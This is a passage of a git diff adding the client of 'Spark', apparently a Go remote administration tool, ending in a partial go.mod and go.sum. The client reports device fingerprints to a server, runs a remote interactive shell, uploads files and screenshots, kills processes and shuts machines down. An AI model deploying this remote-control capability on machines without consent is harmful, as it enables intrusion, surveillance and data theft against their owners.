common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0, Data: map[string]interface{}{`processes`: processes}}, pack, wsConn)
|
||||
}
|
||||
case `killProcess`:
|
||||
pidStr, ok := pack.Data[`pid`]
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
pid, err := strconv.ParseInt(pidStr.(string), 10, 32)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: `未知错误`}, pack, wsConn)
|
||||
return
|
||||
}
|
||||
err = process.KillProcess(int32(pid))
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Code: 1, Msg: err.Error()}, pack, wsConn)
|
||||
} else {
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
case `heartbeat`:
|
||||
break
|
||||
default:
|
||||
common.SendCb(modules.Packet{Code: 0}, pack, wsConn)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func heartbeat(wsConn *common.Conn) error {
|
||||
for range time.NewTicker(60 * time.Second).C {
|
||||
device, err := GetDevice()
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
continue
|
||||
}
|
||||
err = common.SendPack(modules.CommonPack{Act: `setDevice`, Data: device}, wsConn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
163
client/core/device.go
Normal file
163
client/core/device.go
Normal file
@@ -0,0 +1,163 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"github.com/denisbrodbeck/machineid"
|
||||
"github.com/shirou/gopsutil/v3/cpu"
|
||||
"github.com/shirou/gopsutil/v3/host"
|
||||
"github.com/shirou/gopsutil/v3/mem"
|
||||
"net"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func isPrivateIP(ip net.IP) bool {
|
||||
var privateIPBlocks []*net.IPNet
|
||||
for _, cidr := range []string{
|
||||
//"127.0.0.0/8", // IPv4 loopback
|
||||
//"::1/128", // IPv6 loopback
|
||||
//"fe80::/10", // IPv6 link-local
|
||||
"10.0.0.0/8", // RFC1918
|
||||
"172.16.0.0/12", // RFC1918
|
||||
"192.168.0.0/16", // RFC1918
|
||||
} {
|
||||
_, block, _ := net.ParseCIDR(cidr)
|
||||
privateIPBlocks = append(privateIPBlocks, block)
|
||||
}
|
||||
for _, block := range privateIPBlocks {
|
||||
if block.Contains(ip) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func GetCPUInfo() (string, error) {
|
||||
info, err := cpu.Info()
|
||||
if err != nil {
|
||||
return ``, nil
|
||||
}
|
||||
if len(info) > 0 {
|
||||
return info[0].ModelName, nil
|
||||
}
|
||||
return ``, errors.New(`failed to read cpu info`)
|
||||
}
|
||||
|
||||
func GetLocalIP() (string, error) {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return `Unknown`, err
|
||||
}
|
||||
for _, i := range ifaces {
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
return `Unknown`, err
|
||||
}
|
||||
|
||||
for _, addr := range addrs {
|
||||
var ip net.IP
|
||||
switch v := addr.(type) {
|
||||
case *net.IPNet:
|
||||
ip = v.IP
|
||||
case *net.IPAddr:
|
||||
ip = v.IP
|
||||
}
|
||||
if isPrivateIP(ip) {
|
||||
if addr := ip.To4(); addr != nil {
|
||||
return addr.String(), nil
|
||||
} else if addr := ip.To16(); addr != nil {
|
||||
return addr.String(), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return `Unknown`, errors.New(`no IP address found`)
|
||||
}
|
||||
|
||||
func GetMacAddress() (string, error) {
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ``, err
|
||||
}
|
||||
var address []string
|
||||
for _, i := range interfaces {
|
||||
a := i.HardwareAddr.String()
|
||||
if a != `` {
|
||||
address = append(address, a)
|
||||
}
|
||||
}
|
||||
if len(address) == 0 {
|
||||
return ``, nil
|
||||
}
|
||||
return strings.ToUpper(address[0]), nil
|
||||
}
|
||||
|
||||
func GetMemSize() (uint64, error) {
|
||||
memStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
return 0, nil
|
||||
}
|
||||
return memStat.Total, nil
|
||||
}
|
||||
|
||||
func GetDevice() (*modules.Device, error) {
|
||||
id, err := machineid.ProtectedID(`Spark`)
|
||||
if err != nil {
|
||||
id, err = machineid.ID()
|
||||
if err != nil {
|
||||
secBuffer := make([]byte, 16)
|
||||
rand.Reader.Read(secBuffer)
|
||||
id = hex.EncodeToString(secBuffer)
|
||||
}
|
||||
}
|
||||
cpuModel, err := GetCPUInfo()
|
||||
if err != nil {
|
||||
cpuModel = `unknown`
|
||||
}
|
||||
localIP, err := GetLocalIP()
|
||||
if err != nil {
|
||||
localIP = `unknown`
|
||||
}
|
||||
macAddr, err := GetMacAddress()
|
||||
if err != nil {
|
||||
macAddr = `unknown`
|
||||
}
|
||||
memSize, err := GetMemSize()
|
||||
if err != nil {
|
||||
memSize = 0
|
||||
}
|
||||
uptime, err := host.Uptime()
|
||||
if err != nil {
|
||||
uptime = 0
|
||||
}
|
||||
username, err := user.Current()
|
||||
if err != nil {
|
||||
username = &user.User{Username: `unknown`}
|
||||
} else {
|
||||
slashIndex := strings.Index(username.Username, `\`)
|
||||
if slashIndex > -1 && slashIndex+1 < len(username.Username) {
|
||||
username.Username = username.Username[slashIndex+1:]
|
||||
}
|
||||
}
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
hostname = `unknown`
|
||||
}
|
||||
return &modules.Device{
|
||||
ID: id,
|
||||
OS: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
CPU: cpuModel,
|
||||
LAN: localIP,
|
||||
Mac: macAddr,
|
||||
Mem: memSize,
|
||||
Uptime: uptime,
|
||||
Hostname: hostname,
|
||||
Username: username.Username,
|
||||
}, nil
|
||||
}
|
37
client/service/basic/basic_linux.go
Normal file
37
client/service/basic/basic_linux.go
Normal file
@@ -0,0 +1,37 @@
|
||||
// +build linux
|
||||
|
||||
package basic
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
}
|
||||
|
||||
func Lock() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Logoff() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Hibernate() error {
|
||||
_, _, err := syscall.Syscall(syscall.SYS_REBOOT, syscall.LINUX_REBOOT_CMD_HALT, 0, 0)
|
||||
return err
|
||||
}
|
||||
|
||||
func Suspend() error {
|
||||
_, _, err := syscall.Syscall(syscall.SYS_REBOOT, syscall.LINUX_REBOOT_CMD_SW_SUSPEND, 0, 0)
|
||||
return err
|
||||
}
|
||||
|
||||
func Restart() error {
|
||||
return syscall.Reboot(syscall.LINUX_REBOOT_CMD_RESTART)
|
||||
}
|
||||
|
||||
func Shutdown() error {
|
||||
return syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF)
|
||||
}
|
33
client/service/basic/basic_others.go
Normal file
33
client/service/basic/basic_others.go
Normal file
@@ -0,0 +1,33 @@
|
||||
// +build !linux
|
||||
// +build !windows
|
||||
|
||||
package basic
|
||||
|
||||
import "errors"
|
||||
|
||||
func init() {
|
||||
}
|
||||
|
||||
func Lock() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Logoff() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Hibernate() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Suspend() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Restart() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
||||
|
||||
func Shutdown() error {
|
||||
return errors.New(`the operation is not supported`)
|
||||
}
|
143
client/service/basic/basic_windows.go
Normal file
143
client/service/basic/basic_windows.go
Normal file
@@ -0,0 +1,143 @@
|
||||
// +build windows
|
||||
|
||||
package basic
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func init() {
|
||||
privilege()
|
||||
}
|
||||
|
||||
func privilege() error {
|
||||
user32 := syscall.MustLoadDLL("user32")
|
||||
defer user32.Release()
|
||||
kernel32 := syscall.MustLoadDLL("kernel32")
|
||||
defer user32.Release()
|
||||
advapi32 := syscall.MustLoadDLL("advapi32")
|
||||
defer advapi32.Release()
|
||||
|
||||
GetLastError := kernel32.MustFindProc("GetLastError")
|
||||
GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
|
||||
OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
|
||||
LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
|
||||
currentProcess, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
const tokenAdjustPrivileges = 0x0020
|
||||
const tokenQuery = 0x0008
|
||||
var hToken uintptr
|
||||
|
||||
result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
const SeShutdownName = "SeShutdownPrivilege"
|
||||
|
||||
type Luid struct {
|
||||
lowPart uint32 // DWORD
|
||||
highPart int32 // long
|
||||
}
|
||||
type LuidAndAttributes struct {
|
||||
luid Luid // LUID
|
||||
attributes uint32 // DWORD
|
||||
}
|
||||
|
||||
type TokenPrivileges struct {
|
||||
privilegeCount uint32 // DWORD
|
||||
privileges [1]LuidAndAttributes
|
||||
}
|
||||
|
||||
var tkp TokenPrivileges
|
||||
|
||||
utf16ptr, err := syscall.UTF16PtrFromString(SeShutdownName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
result, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(utf16ptr)), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
const SePrivilegeEnabled uint32 = 0x00000002
|
||||
|
||||
tkp.privilegeCount = 1
|
||||
tkp.privileges[0].attributes = SePrivilegeEnabled
|
||||
|
||||
result, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
result, _, _ = GetLastError.Call()
|
||||
if result != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func Lock() error {
|
||||
dll := syscall.MustLoadDLL(`user32`)
|
||||
_, _, err := dll.MustFindProc(`LockWorkStation`).Call()
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func Logoff() error {
|
||||
dll := syscall.MustLoadDLL(`user32`)
|
||||
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x0, 0x0)
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func Hibernate() error {
|
||||
dll := syscall.MustLoadDLL(`powrprof`)
|
||||
_, _, err := dll.MustFindProc(`SetSuspendState`).Call(0x0, 0x0, 0x1)
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func Suspend() error {
|
||||
dll := syscall.MustLoadDLL(`powrprof`)
|
||||
_, _, err := dll.MustFindProc(`SetSuspendState`).Call(0x1, 0x0, 0x1)
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func Restart() error {
|
||||
dll := syscall.MustLoadDLL(`user32`)
|
||||
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x2, 0x0)
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func Shutdown() error {
|
||||
dll := syscall.MustLoadDLL(`user32`)
|
||||
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x1, 0x0)
|
||||
dll.Release()
|
||||
if err == syscall.Errno(0) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
91
client/service/file/file.go
Normal file
91
client/service/file/file.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package file
|
||||
|
||||
import (
|
||||
"Spark/client/config"
|
||||
"errors"
|
||||
"github.com/imroc/req/v3"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type file struct {
|
||||
Name string `json:"name"`
|
||||
Size int64 `json:"size"`
|
||||
Time int64 `json:"time"`
|
||||
Type int `json:"type"` //0: file, 1: folder, 2: volume
|
||||
}
|
||||
|
||||
// listFiles returns files and directories find in path.
|
||||
func listFiles(path string) ([]file, error) {
|
||||
result := make([]file, 0)
|
||||
files, err := ioutil.ReadDir(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := 0; i < len(files); i++ {
|
||||
itemType := 0
|
||||
if files[i].IsDir() {
|
||||
itemType = 1
|
||||
}
|
||||
result = append(result, file{
|
||||
Name: files[i].Name(),
|
||||
Size: files[i].Size(),
|
||||
Time: files[i].ModTime().Unix(),
|
||||
Type: itemType,
|
||||
})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func UploadFile(path, trigger string, start, end int64) error {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reader, writer := io.Pipe()
|
||||
defer file.Close()
|
||||
uploadReq := req.R()
|
||||
stat, err := file.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
size := stat.Size()
|
||||
headers := map[string]string{
|
||||
`Trigger`: trigger,
|
||||
`FileName`: stat.Name(),
|
||||
`FileSize`: strconv.FormatInt(size, 10),
|
||||
}
|
||||
if size < end {
|
||||
return errors.New(`文件大小有误`)
|
||||
}
|
||||
if end == 0 {
|
||||
uploadReq.RawRequest.ContentLength = size - start
|
||||
} else {
|
||||
uploadReq.RawRequest.ContentLength = end - start
|
||||
}
|
||||
shouldRead := uploadReq.RawRequest.ContentLength
|
||||
file.Seek(start, 0)
|
||||
go func() {
|
||||
for {
|
||||
bufSize := int64(2 << 14)
|
||||
if shouldRead < bufSize {
|
||||
bufSize = shouldRead
|
||||
}
|
||||
buffer := make([]byte, bufSize) // 32768
|
||||
n, err := file.Read(buffer)
|
||||
buffer = buffer[:n]
|
||||
shouldRead -= int64(n)
|
||||
writer.Write(buffer)
|
||||
if n == 0 || shouldRead == 0 || err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
writer.Close()
|
||||
}()
|
||||
url := config.GetBaseURL(false) + `/api/device/file/put`
|
||||
_, err = uploadReq.SetBody(reader).SetHeaders(headers).Send(`PUT`, url)
|
||||
reader.Close()
|
||||
return err
|
||||
}
|
10
client/service/file/file_others.go
Normal file
10
client/service/file/file_others.go
Normal file
@@ -0,0 +1,10 @@
|
||||
// +build !windows
|
||||
|
||||
package file
|
||||
|
||||
func ListFiles(path string) ([]file, error) {
|
||||
if len(path) == 0 {
|
||||
path = `/`
|
||||
}
|
||||
return listFiles(path)
|
||||
}
|
23
client/service/file/file_windows.go
Normal file
23
client/service/file/file_windows.go
Normal file
@@ -0,0 +1,23 @@
|
||||
// +build windows
|
||||
|
||||
package file
|
||||
|
||||
import "github.com/shirou/gopsutil/v3/disk"
|
||||
|
||||
// ListFiles will only be called when path is root and
|
||||
// current system is Windows.
|
||||
// It will return mount points of all volumes.
|
||||
func ListFiles(path string) ([]file, error) {
|
||||
result := make([]file, 0)
|
||||
if len(path) == 0 || path == `\` || path == `/` {
|
||||
partitions, err := disk.Partitions(true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := 0; i < len(partitions); i++ {
|
||||
result = append(result, file{Name: partitions[i].Mountpoint, Type: 2})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
return listFiles(path)
|
||||
}
|
37
client/service/process/process.go
Normal file
37
client/service/process/process.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package process
|
||||
|
||||
import "github.com/shirou/gopsutil/v3/process"
|
||||
|
||||
type Process struct {
|
||||
Name string `json:"name"`
|
||||
Pid int32 `json:"pid"`
|
||||
}
|
||||
|
||||
func ListProcesses() ([]Process, error) {
|
||||
result := make([]Process, 0)
|
||||
processes, err := process.Processes()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := 0; i < len(processes); i++ {
|
||||
name, err := processes[i].Name()
|
||||
if err != nil {
|
||||
name = `<Unknown>`
|
||||
}
|
||||
result = append(result, Process{Name: name, Pid: processes[i].Pid})
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func KillProcess(pid int32) error {
|
||||
processes, err := process.Processes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for i := 0; i < len(processes); i++ {
|
||||
if processes[i].Pid == pid {
|
||||
return processes[i].Kill()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
16
client/service/screenshot/screenshot.go
Normal file
16
client/service/screenshot/screenshot.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package screenshot
|
||||
|
||||
import (
|
||||
"Spark/client/config"
|
||||
"github.com/imroc/req/v3"
|
||||
)
|
||||
|
||||
func putScreenshot(trigger, err string, body interface{}) (*req.Response, error) {
|
||||
return req.R().
|
||||
SetBody(body).
|
||||
SetHeaders(map[string]string{
|
||||
`Trigger`: trigger,
|
||||
`Error`: err,
|
||||
}).
|
||||
Send(`PUT`, config.GetBaseURL(false)+`/api/device/screenshot/put`)
|
||||
}
|
32
client/service/screenshot/supported.go
Normal file
32
client/service/screenshot/supported.go
Normal file
@@ -0,0 +1,32 @@
|
||||
//+build linux windows
|
||||
|
||||
package screenshot
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"github.com/kbinani/screenshot"
|
||||
"image/png"
|
||||
)
|
||||
|
||||
func GetScreenshot(trigger string) error {
|
||||
writer := new(bytes.Buffer)
|
||||
num := screenshot.NumActiveDisplays()
|
||||
if num == 0 {
|
||||
err := errors.New(`no display found`)
|
||||
putScreenshot(trigger, err.Error(), nil)
|
||||
return err
|
||||
}
|
||||
img, err := screenshot.CaptureDisplay(0)
|
||||
if err != nil {
|
||||
putScreenshot(trigger, err.Error(), nil)
|
||||
return err
|
||||
}
|
||||
err = png.Encode(writer, img)
|
||||
if err != nil {
|
||||
putScreenshot(trigger, err.Error(), nil)
|
||||
return err
|
||||
}
|
||||
_, err = putScreenshot(trigger, ``, writer)
|
||||
return err
|
||||
}
|
11
client/service/screenshot/unsupported.go
Normal file
11
client/service/screenshot/unsupported.go
Normal file
@@ -0,0 +1,11 @@
|
||||
//+build !linux
|
||||
//+build !windows
|
||||
|
||||
package screenshot
|
||||
|
||||
import "Spark/utils"
|
||||
|
||||
func GetScreenshot(trigger string) error {
|
||||
_, err := putScreenshot(trigger, utils.ErrUnsupported.Error(), nil)
|
||||
return err
|
||||
}
|
241
client/service/terminal/terminal.go
Normal file
241
client/service/terminal/terminal.go
Normal file
@@ -0,0 +1,241 @@
|
||||
package terminal
|
||||
|
||||
import (
|
||||
"Spark/client/common"
|
||||
"Spark/modules"
|
||||
"Spark/utils/cmap"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"time"
|
||||
)
|
||||
|
||||
type terminal struct {
|
||||
lastInput int64
|
||||
event string
|
||||
cmd *exec.Cmd
|
||||
stdout *io.ReadCloser
|
||||
stderr *io.ReadCloser
|
||||
stdin *io.WriteCloser
|
||||
}
|
||||
|
||||
var terminals = cmap.New()
|
||||
var (
|
||||
errDataNotFound = errors.New(`no input found in packet`)
|
||||
errDataInvalid = errors.New(`can not parse data in packet`)
|
||||
errUUIDNotFound = errors.New(`can not find terminal identifier`)
|
||||
)
|
||||
|
||||
func init() {
|
||||
go healthCheck()
|
||||
}
|
||||
|
||||
func InitTerminal(pack modules.Packet) error {
|
||||
cmd := exec.Command(getTerminal())
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
cmd.Process.Kill()
|
||||
return err
|
||||
}
|
||||
stderr, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
cmd.Process.Kill()
|
||||
return err
|
||||
}
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
cmd.Process.Kill()
|
||||
return err
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
buffer := make([]byte, 512)
|
||||
n, err := stdout.Read(buffer)
|
||||
buffer = buffer[:n]
|
||||
buffer, _ = gbkToUtf8(buffer)
|
||||
common.SendCb(modules.Packet{Act: `outputTerminal`, Data: map[string]interface{}{
|
||||
`output`: hex.EncodeToString(buffer),
|
||||
}}, pack, common.WSConn)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`}, pack, common.WSConn)
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
for {
|
||||
buffer := make([]byte, 512)
|
||||
n, err := stderr.Read(buffer)
|
||||
buffer = buffer[:n]
|
||||
buffer, _ = gbkToUtf8(buffer)
|
||||
common.SendCb(modules.Packet{Act: `outputTerminal`, Data: map[string]interface{}{
|
||||
`output`: hex.EncodeToString(buffer),
|
||||
}}, pack, common.WSConn)
|
||||
if err != nil {
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`}, pack, common.WSConn)
|
||||
break
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
event := ``
|
||||
if pack.Data != nil {
|
||||
if val, ok := pack.Data[`event`]; ok {
|
||||
event, _ = val.(string)
|
||||
}
|
||||
}
|
||||
terminals.Set(pack.Data[`terminal`].(string), &terminal{
|
||||
cmd: cmd,
|
||||
event: event,
|
||||
stdout: &stdout,
|
||||
stderr: &stderr,
|
||||
stdin: &stdin,
|
||||
lastInput: time.Now().Unix(),
|
||||
})
|
||||
cmd.Start()
|
||||
return nil
|
||||
}
|
||||
|
||||
func InputTerminal(pack modules.Packet) error {
|
||||
if pack.Data == nil {
|
||||
return errDataNotFound
|
||||
}
|
||||
val, ok := pack.Data[`input`]
|
||||
if !ok {
|
||||
return errDataNotFound
|
||||
}
|
||||
hexStr, ok := val.(string)
|
||||
if !ok {
|
||||
return errDataNotFound
|
||||
}
|
||||
data, err := hex.DecodeString(hexStr)
|
||||
if err != nil {
|
||||
return errDataInvalid
|
||||
}
|
||||
|
||||
val, ok = pack.Data[`terminal`]
|
||||
if !ok {
|
||||
return errUUIDNotFound
|
||||
}
|
||||
termUUID, ok := val.(string)
|
||||
if !ok {
|
||||
return errUUIDNotFound
|
||||
}
|
||||
val, ok = terminals.Get(termUUID)
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
|
||||
return nil
|
||||
}
|
||||
terminal, ok := val.(*terminal)
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
|
||||
return nil
|
||||
}
|
||||
|
||||
terminal.lastInput = time.Now().Unix()
|
||||
if len(data) == 1 && data[0] == '\x03' {
|
||||
terminal.cmd.Process.Signal(os.Interrupt)
|
||||
return nil
|
||||
}
|
||||
data, _ = utf8ToGbk(data)
|
||||
(*terminal.stdin).Write(data)
|
||||
return nil
|
||||
}
|
||||
|
||||
func KillTerminal(pack modules.Packet) error {
|
||||
if pack.Data == nil {
|
||||
return errUUIDNotFound
|
||||
}
|
||||
val, ok := pack.Data[`terminal`]
|
||||
if !ok {
|
||||
return errUUIDNotFound
|
||||
}
|
||||
termUUID, ok := val.(string)
|
||||
if !ok {
|
||||
return errUUIDNotFound
|
||||
}
|
||||
val, ok = terminals.Get(termUUID)
|
||||
if !ok {
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
|
||||
return nil
|
||||
}
|
||||
terminal, ok := val.(*terminal)
|
||||
if !ok {
|
||||
terminals.Remove(termUUID)
|
||||
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
|
||||
return nil
|
||||
}
|
||||
doKillTerminal(terminal)
|
||||
return nil
|
||||
}
|
||||
|
||||
func doKillTerminal(terminal *terminal) {
|
||||
(*terminal.stdout).Close()
|
||||
(*terminal.stderr).Close()
|
||||
(*terminal.stdin).Close()
|
||||
if terminal.cmd.Process != nil {
|
||||
terminal.cmd.Process.Kill()
|
||||
}
|
||||
}
|
||||
|
||||
func getTerminal() string {
|
||||
switch runtime.GOOS {
|
||||
case `windows`:
|
||||
return `cmd.exe`
|
||||
case `linux`:
|
||||
return `sh`
|
||||
case `darwin`:
|
||||
return `sh`
|
||||
default:
|
||||
return `sh`
|
||||
}
|
||||
}
|
||||
|
||||
func gbkToUtf8(s []byte) ([]byte, error) {
|
||||
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GB18030.NewDecoder())
|
||||
d, e := ioutil.ReadAll(reader)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func utf8ToGbk(s []byte) ([]byte, error) {
|
||||
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GB18030.NewEncoder())
|
||||
d, e := ioutil.ReadAll(reader)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func healthCheck() {
|
||||
const MaxInterval = 180
|
||||
for now := range time.NewTicker(30 * time.Second).C {
|
||||
timestamp := now.Unix()
|
||||
// stores sessions to be disconnected
|
||||
queue := make([]string, 0)
|
||||
terminals.IterCb(func(uuid string, t interface{}) bool {
|
||||
terminal, ok := t.(*terminal)
|
||||
if !ok {
|
||||
queue = append(queue, uuid)
|
||||
return true
|
||||
}
|
||||
if timestamp-terminal.lastInput > MaxInterval {
|
||||
queue = append(queue, uuid)
|
||||
doKillTerminal(terminal)
|
||||
}
|
||||
return true
|
||||
})
|
||||
for i := 0; i < len(queue); i++ {
|
||||
terminals.Remove(queue[i])
|
||||
}
|
||||
}
|
||||
}
|
45
go.mod
Normal file
45
go.mod
Normal file
@@ -0,0 +1,45 @@
|
||||
module Spark
|
||||
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/denisbrodbeck/machineid v1.0.1
|
||||
github.com/gin-gonic/gin v1.7.7
|
||||
github.com/gorilla/websocket v1.5.0
|
||||
github.com/imroc/req/v3 v3.8.2
|
||||
github.com/json-iterator/go v1.1.12
|
||||
github.com/kataras/golog v0.1.7
|
||||
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329
|
||||
github.com/rakyll/statik v0.1.7
|
||||
github.com/shirou/gopsutil/v3 v3.22.2
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gin-contrib/sse v0.1.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-playground/locales v0.13.0 // indirect
|
||||
github.com/go-playground/universal-translator v0.17.0 // indirect
|
||||
github.com/go-playground/validator/v10 v10.4.1 // indirect
|
||||
github.com/golang/protobuf v1.3.3 // indirect
|
||||
github.com/hashicorp/errwrap v1.0.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 // indirect
|
||||
github.com/kataras/pio v0.0.10 // indirect
|
||||
github.com/leodido/go-urn v1.2.0 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-isatty v0.0.12 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.9 // indirect
|
||||
github.com/tklauser/numcpus v0.3.0 // indirect
|
||||
github.com/ugorji/go/codec v1.1.7 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 // indirect
|
||||
golang.org/x/net v0.0.0-20220111093109-d55c255bac03 // indirect
|
||||
golang.org/x/sys v0.0.0-20220111092808-5a964db01320 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
gopkg.in/yaml.v2 v2.2.8 // indirect
|
||||
)
|
116
go.sum
Normal file
116
go.sum
Normal file
@@ -0,0 +1,116 @@
|
||||
